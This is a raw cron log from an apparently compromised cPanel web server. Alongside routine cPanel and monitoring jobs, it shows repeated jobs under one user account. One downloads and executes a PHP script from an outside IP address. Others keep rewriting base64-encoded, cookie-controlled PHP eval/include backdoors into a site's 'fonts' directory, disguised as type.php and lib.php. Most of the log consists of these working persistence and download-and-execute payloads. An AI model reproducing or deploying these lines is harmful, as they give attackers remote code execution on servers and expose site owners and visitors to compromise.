Sep  8 23:44:01 ip-184-168-122-23 CROND[9740]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:45:01 ip-184-168-122-23 CROND[9823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:45:01 ip-184-168-122-23 CROND[9824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:45:01 ip-184-168-122-23 CROND[9829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:45:01 ip-184-168-122-23 CROND[9827]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:45:01 ip-184-168-122-23 CROND[9830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:45:01 ip-184-168-122-23 CROND[9828]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:46:01 ip-184-168-122-23 CROND[9914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:46:01 ip-184-168-122-23 CROND[9915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:46:01 ip-184-168-122-23 CROND[9918]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 23:46:01 ip-184-168-122-23 CROND[9919]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 23:46:01 ip-184-168-122-23 CROND[9921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:46:01 ip-184-168-122-23 CROND[9923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:46:01 ip-184-168-122-23 CROND[9922]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:47:01 ip-184-168-122-23 CROND[10041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:47:01 ip-184-168-122-23 CROND[10042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:47:01 ip-184-168-122-23 CROND[10045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:47:01 ip-184-168-122-23 CROND[10046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:48:01 ip-184-168-122-23 CROND[10121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:48:01 ip-184-168-122-23 CROND[10122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:48:01 ip-184-168-122-23 CROND[10123]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:48:01 ip-184-168-122-23 CROND[10126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:48:01 ip-184-168-122-23 CROND[10125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:49:01 ip-184-168-122-23 CROND[10223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:49:01 ip-184-168-122-23 CROND[10225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:49:01 ip-184-168-122-23 CROND[10227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:49:01 ip-184-168-122-23 CROND[10229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:50:01 ip-184-168-122-23 CROND[10309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:50:01 ip-184-168-122-23 CROND[10311]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:50:01 ip-184-168-122-23 CROND[10317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:50:01 ip-184-168-122-23 CROND[10313]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 23:50:01 ip-184-168-122-23 CROND[10314]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 23:50:01 ip-184-168-122-23 CROND[10315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:50:01 ip-184-168-122-23 CROND[10318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:50:01 ip-184-168-122-23 CROND[10324]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:50:01 ip-184-168-122-23 CROND[10325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:51:01 ip-184-168-122-23 CROND[10514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:51:01 ip-184-168-122-23 CROND[10516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:51:01 ip-184-168-122-23 CROND[10517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:51:01 ip-184-168-122-23 CROND[10518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:52:01 ip-184-168-122-23 CROND[10611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:52:01 ip-184-168-122-23 CROND[10612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:52:01 ip-184-168-122-23 CROND[10613]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:52:01 ip-184-168-122-23 CROND[10610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:52:01 ip-184-168-122-23 CROND[10614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:53:01 ip-184-168-122-23 CROND[10692]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  8 23:53:01 ip-184-168-122-23 CROND[10697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:53:01 ip-184-168-122-23 CROND[10698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:53:01 ip-184-168-122-23 CROND[10699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:53:01 ip-184-168-122-23 CROND[10696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:54:01 ip-184-168-122-23 CROND[10783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:54:01 ip-184-168-122-23 CROND[10785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:54:01 ip-184-168-122-23 CROND[10786]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:54:01 ip-184-168-122-23 CROND[10787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:54:01 ip-184-168-122-23 CROND[10789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:55:01 ip-184-168-122-23 CROND[10875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:55:01 ip-184-168-122-23 CROND[10877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:55:01 ip-184-168-122-23 CROND[10879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:55:01 ip-184-168-122-23 CROND[10880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:55:01 ip-184-168-122-23 CROND[10878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:55:01 ip-184-168-122-23 CROND[10881]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:56:01 ip-184-168-122-23 CROND[10963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:56:01 ip-184-168-122-23 CROND[10966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:56:01 ip-184-168-122-23 CROND[10967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:56:01 ip-184-168-122-23 CROND[10970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:56:01 ip-184-168-122-23 CROND[10965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
